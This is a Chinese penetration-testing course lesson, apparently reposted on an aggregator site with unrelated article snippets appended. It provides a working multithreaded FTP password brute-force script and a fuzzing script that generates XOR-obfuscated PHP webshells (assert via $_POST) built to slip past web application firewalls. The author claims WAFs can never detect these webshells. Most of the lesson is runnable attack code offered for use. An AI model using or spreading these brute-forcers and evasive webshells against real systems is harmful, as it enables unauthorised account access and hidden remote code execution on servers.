78 Python开发-多线程FuzzWaf异或免杀爆破

这里写目录标题

    • 本课知识点:
    • 学习目的:
    • 演示案例:
      • Python开发-简单多线程技术实现脚本
      • Python开发-利用FTP模块实现协议爆破脚本
      • Python开发-配合Fuzz实现免杀异或Shell脚本
    • 涉及资源:

在这里插入图片描述

本课知识点:

协议模块使用,Request爬虫技术,简易多线程技术,编码技术,Bypass后门技术

学习目的:

掌握利用强大的模块实现各种协议连接操作(爆破或利用等),配合Fuzz吊打WAF等

演示案例:

Python开发-简单多线程技术实现脚本

queue,threading模块使用

Python开发-利用FTP模块实现协议爆破脚本

1.ftplib模块使用
2.遍历用户及密码字典
3.尝试连接执行命令判断

python里面基本上都有相对应的支持协议模块的库,我们就可以使用相关的库进行相关协议的连接

我们启动ftp服务器,到时候进行连接测试
在这里插入图片描述
ftp软件这边是可以看到日志的,到时候我们爆破的时候可以看一下有没有登录日志,看一下是不是正常的
在这里插入图片描述
我们在爆破的时候,要先把账号密码准备好,再去连接他
在这里插入图片描述
这个就是一个很正常的连接情况
在这里插入图片描述
服务器对外的服务端口是可以更改的

import ftplib                         # 导入ftplib模块
import threading                      # 导入threading模块实现多线程
import queue                          # 导入队列模块,配合多线程编程,能够在多线程中直接使用,可以使用队列来实现线程间的同步
import sys# 爆破:ip,端口,用户名,密码字典
def ftp_brute(ip,port):ftp = ftplib.FTP()                              # 创建ftp的操作类ftp.connect(ip, int(port))                      # 连接的ftp 设置ip和端口(ftp服务器默认的端口是21)# .empty()如果队列为空,返回 True,否则返回 Falsewhile not q.empty():                            # while 循环 not(非,反转) 真为假,假为真user_pass = q.get()                         # 获取队列,timeout等待时间list = user_pass.split('|')                 # split() 拆分字符串,等到的是一个列表username = list[0]                          # 用户名password = list[1]                          # 密码# print(f"{username} | {password}")try:                                        # 如果连接的用户名或密码错误就会报错,这个做个异常处理ftp.login(username,password)            # 连接的用户名,密码# ftp.retrlines('list')                   # 获取FTP服务器上的文件信息print(f"连接成功,账号:{username},密码:{password}")except Exception as e:# print(f"连接失败,{username}|{password}")passif __name__ == '__main__':try:ip = sys.argv[1]                               # 接收外部传进来的第一个参数ip,如:192.168.1.5port = sys.argv[2]                             # 接收外部传进来的第二个参数端口,如:21userfile = sys.argv[3]                         # 接收外部传进来的第三个参数用户名字典,如:ftp-user.txtpassfile = sys.argv[4]                         # 接收外部传进来的第四个个参数密码字典,如:ftp-pass.txtthreading_num = sys.argv[5]                    # 接收外部传进来的第五个参数创建的线程数,建议:5-10except IndexError as e:ip = '192.168.1.5'port = 21userfile = 'ftp-user.txt'passfile = 'ftp-pass.txt'threading_num = 5passq = queue.Queue()                              # 创建队列for username in open(userfile):                # ftp-user.txt 就是一个简单的用户名字典,自己创建一个或在网上下载都可以for password in open(passfile):            # 遍历密码字典username = username.replace('\n', '')  # 将换行替换为空password = password.replace('\n', '')q.put(username + '|' + password)       # 向队列中插入元素(用户名与密码)# 创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个for x in range(int(threading_num)):                 # range() 创建一个数字序列,只写一个参数num就是从0开始创建到num-1的序列如:0-9t = threading.Thread(target=ftp_brute,args=(ip,port))     # 创建线程对象,target=执行目标任务名t.start()                                  # 启动线程,让他开始工作

通过ftp模块的学习,大家可以去写个其它协议的,比如mysql或者sqlserver的,模块打上去就完事了,就可以用这个模块进行连接操作

Python开发-配合Fuzz实现免杀异或Shell脚本

1.免杀异或shell原理讲解及开发思路 (参考及举例: !@,?等)
2.基于Fuzz思路生成大量Payload代码并有序命名写入网站文件中
3.基于多线程实现批量访问shell文件并提交测试是否正常连接回显

‘!’ ‘^’ '@'经过异或运算之后结果为a,与后面的ssert形成assert()函数,执行后门。或者是每个字母都进行异或运算最后形成执行函数

<?php $a=('!'^'@').'ssert';$a($_POST[x]);?>   // assert()

这个就是网上说的无字符后门

import requests                       # 这个模块是来发送网络请求的
import threading                      # 导入threading模块实现多线程
import queue                          # 导入队列模块,配合多线程编程,能够在多线程中直接使用,可以使用队列来实现线程间的同步def create_shell():while not q.empty():                                            # while 循环 not(非,反转) 真为假,假为真filename = q.get()                                          # 获取队列url = f'http://127.0.0.1/x/{filename}'                      # 定义请求的URLdata = {                                                    # 定义请求的参数'x':'phpinfo();'                                        # phpinfo()方法可以打开phpinfo页面(里面包含一些PHP的版本、扩展之类的信息)}try:result = requests.post(url,data=data).content.decode('utf-8')  # 使用requests模块发送post请求  .content 获取返回的结果  .decode('utf-8')指定解析的编码格式if 'phpinfo()' in result:                                      # 判断返回的源代码中是否包含phpinfo()这个字符串,有就是请求成功了后门程序可用,没有就是失败print(filename + '|ok')# else:#     print(filename + '|no')except Exception as e:passif __name__ == '__main__':q = queue.Queue()                                                         # 创建队列for i in range(1, 127):                                                   # ASCII值的范围就是1-127for ii in range(1, 127):payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'"          # chr()方法将数字转换为ASCII值对应的字符code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"      # 定义后门代码filename = str(i) + 'xd' + str(ii) + '.php'                       # 定义文件路径q.put(filename)                                                   # 向队列中插入元素(文件名)# 这里要改成自己的phpStudy路径,x这个文件夹是要自己创建的with open(f'F:/phpStudy/PHPTutorial/WWW/x/{filename}', 'a') as f:  # 读取文件,a 文件不存在就会创建,如果已经存在就在后面追加内容f.write(code)                                                  # 向文件写入后门代码print(f"正在生成文件:{filename}")print(q.get())# 创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个for x in range(10):                                                         # range() 创建一个数字序列,只写一个参数num就是从0开始创建到num-1的序列如:0-9t = threading.Thread(target=create_shell)                              # 创建线程对象,target=执行目标任务名t.start()                                                              # 启动线程,让他开始工作

这个后门是WAF查杀绝对找不出来的

涉及资源:

Webshell免杀绕过waf:https://blog.csdn.net/weixin_43263566/article/details/129391167
fuzzdb:https://github.com/zhanye/fuzzdb
fuzzDicts:https://github.com/stemmm/fuzzDicts
Webshell免杀绕过waf:https://www.cnblogs.com/liujizhou/p/11806497.html
python ftplib模块:https://www.cnblogs.com/kaituorensheng/p/4480512.html
PHP异或:https://blog.csdn.net/qq_41617034/article/details/104441032

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/594874.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

探索模块化神经网络在现代人工智能中的功效和应用

一、介绍 在快速发展的人工智能领域&#xff0c;模块化神经网络 (MNN) 已成为一项关键创新。与遵循整体方法的传统神经网络架构不同&#xff0c;MNN 采用分散式结构。本文深入探讨了 MNN 的基础知识、它们的优势、应用以及它们带来的挑战。 evertongomede 在人工智能领域&#…

MySQL5.7无法连接到[本地] MySQL 服务器

官网地址&#xff1a;MySQL :: MySQL 5.7 Reference Manual :: B.3.2.2 Cant connect to [local] MySQL server 欢迎关注留言&#xff0c;我是收集整理小能手&#xff0c;工具翻译&#xff0c;仅供参考&#xff0c;笔芯笔芯. MySQL 5.7 参考手册 / ... / 无法连接到[本地] …

Linux dip命令教程:如何使用dip命令进行IP拨号连接(附实例教程和注意事项)

Linux dip命令介绍 dip命令&#xff0c;全称为Dialup IP&#xff0c;是用于IP拨号连接的命令。它可以控制调制解调器&#xff0c;以拨号IP的方式建立对外的双向连接。这个命令可以用于自动化一些步骤&#xff0c;比如打开串行设备&#xff0c;使调制解调器拨号到提供商&#x…

通灵术揭秘:空碗“竖筷子”不倒

通灵术揭秘&#xff1a;空碗“竖筷子”不倒 释名&#xff1a;竖筷子是流传很广的一种民间小术&#xff0c;因其法是在碗中竖起一支或三支筷子&#xff0c;故名。 用处&#xff1a;如果有人莫名其妙的生病了&#xff0c;医药无效&#xff0c;按民间的说法&#xff0c;就是遇鬼了…

苹果cmsV10暗黑大气MT主题模板源码-只有PC版本

苹果cms MT主题是一款多功能苹果cmsV10暗黑大气主题 初次使用说明&#xff1a; 网站模板选择mt 模板目录填写html 后台地址&#xff1a;MT主题,mt/mtset 先应用主题打开前台&#xff0c;再点击后台。 源码下载&#xff1a;https://download.csdn.net/download/m0_66047725…

Python武器库开发-武器库篇之代理池配置(四十)

武器库篇之代理池配置(四十) 我们在渗透的过程中&#xff0c;是必须要挂代理的&#xff0c;相信为何要挂代理的原因&#xff0c;各位也是非常的明白的&#xff0c;这里就不多讲了。关于如何挂代理和购买代理大家可以去看内网隧道代理技术&#xff08;十&#xff09;之公网资产…

GitHub上的15000个Go模块存储库易受劫持攻击

内容概要&#xff1a; 目前研究发现&#xff0c;GitHub上超过15000个Go模块存储库容易受到一种名为“重新劫持”的攻击。 由于GitHub用户名的更改会造成9000多个存储库容易被重新劫持&#xff0c;同时因为帐户删除&#xff0c;会对6000多个存储库造成重新劫持的危机。目前统计…

华芯微特|MCU之TIMER输入捕获

引言 华芯微特公司SWM系列单片机提供的TIMER个数和功能有些微差别&#xff0c;为了让您更加简单的使用这一功能&#xff0c;下面小编将以SWM190为例&#xff0c;我们今天详细讲解一下TIMER的输入捕获功能。 TIMER输入捕获 一、TIMER定时器之输入捕获功能 我们今天详细讲解一下…

uwsgitop 使用

背景&#xff1a;Django项目 uwsgi&#xff0c;uwsgi.ini 在工程下。 使用&#xff1a; 下载安装uwsgitop [roothost ~]# tar -zxvf uwsgitop-0.11.tar.gz [rootuwsgitop-0.11 ~]# cd uwsgitop-0.11/ [rootuwsgitop-0.11 ~]# python setup.py install [rootuwsgitop-0.11 …

产品|燕窝中的“秘密武器”——燕窝酸

前言 当提及燕窝&#xff0c;大部分人脑海中首先会闪过的大概是“宫廷圣品”、“名贵补品”等听上去十分高大上的形容词。然而随着现代人们生活水平的提高&#xff0c;燕窝已不再神秘&#xff0c;逐渐成为寻常百姓餐桌上的常见食品之一。据我国中医记载&#xff0c;燕窝具有养…

【注解】@FeignClient 用于微服务通信

FeignClient 是 Spring Cloud 中用于声明和创建 Feign 客户端的注解。Feign 是一种声明式的、模板化的 HTTP 客户端&#xff0c;它简化了使用 Spring Cloud Ribbon 的 REST 客户端的开发。 下面是一个简单的使用示例&#xff1a; import org.springframework.cloud.openfeign…

项目框架构建之2:主机程序的搭建

本文是“项目框架构建”系列之2&#xff0c;要编写一个项目框架&#xff0c;就好像一个操作系统似的&#xff0c;得有一些东西可以搭载项目结构&#xff0c;而.net core的主机框架正是可以实现这一目的的好帮手。 简单介绍一下主机程序&#xff0c;我们生产系统中往往需要构建…

Shape-IoU:考虑边框形状与尺度的度量

Abstract https://arxiv.org/pdf/2312.17663.pdf 作为检测器定位分支的重要组成部分&#xff0c;边界框回归损失在目标检测任务中发挥着重要作用。现有的边界框回归方法通常考虑真实框&#xff08;GT box&#xff09;与预测框之间的几何关系&#xff0c;并使用边界框的相对位置…

安卓技术栈归纳

1、开发语言 kotlin java &#xff08;Harmony os&#xff09; 2、UI开发 xml jetpackCompose Material Design 3、四大组件 Activity Service Broadcast Receiver Content Provider 4、常用组件库Navigation Hilt ViewModel Android KTX LiveData WorkM…

redis复习笔记02(小滴课堂)

分布式缓存Redis6常见核心配置讲解 查看配置文件&#xff1a; 创建配置文件&#xff1a; 配置完我们去验证一下&#xff1a; 启动成功就没有问题了。 可以看到redis日志。 然后我们就可以连接我们的redis了&#xff1a; 设置了密码就需要密码登录了。 如果登录了错误的密码也无…

12月,全国各地电子签推广应用政策汇总

12月&#xff0c;国务院及各地政府办公厅、市监局、住建委等机关部门&#xff0c;持续推动电子印章、电子合同等功能在“政府采购、工程项目审批、企业开办等”领域深化应用&#xff0c;加快实现电子签章互信互认&#xff0c;不断简化办事流程&#xff0c;让越来越多高频常办事…

关于几何建模内核

几何建模内核是用于提供计算机辅助设计 (CAD) 软件中的 3D 建模功能的软件组件。它用于设计虚拟模型以为真实对象的仿真和制造提供支持。几何建模内核使用各种不同的几何表示形式来表示真实对象。这些模型包括使用三角形表面网格粗略估计对象的小平面模型&#xff0c;以及使用在…

tp6数据库查询,模型中使用left join

OrgModel模型(用户所属组织机构表) <?php namespace app\model;use app\BaseModel; use think\Model;class OrgModel extends BaseModel {protected $name t_org;protected $pk org_id; }UserModel模型(用户表) <?php namespace app\model;use app\BaseModel; use …

边坡安全监测预警系统——高效率

安装边坡安全监测预警系统的原因是多方面的&#xff0c;涉及到社会效益、经济效益和环境效益。随着国家基础设施建设的快速发展&#xff0c;边坡安全监测预警系统的需求越来越迫切。 边坡安全监测预警系统对于保障人民生命财产安全具有重要意义。在山区、丘陵地带&#xff0c;边…

第9课 回声抑制(AEC+AGC+ANS)的实现

在第8课中&#xff0c;我们将推流端与播放端合并实现了一对一音视频聊天功能&#xff0c;一切看起来还不错。但在实际使用时&#xff0c;会遇到一个烦心的问题&#xff1a;说话时会听到比较大的回声&#xff0c;影响正常使用。所以&#xff0c;这节课我们来重点解决这个问题。 …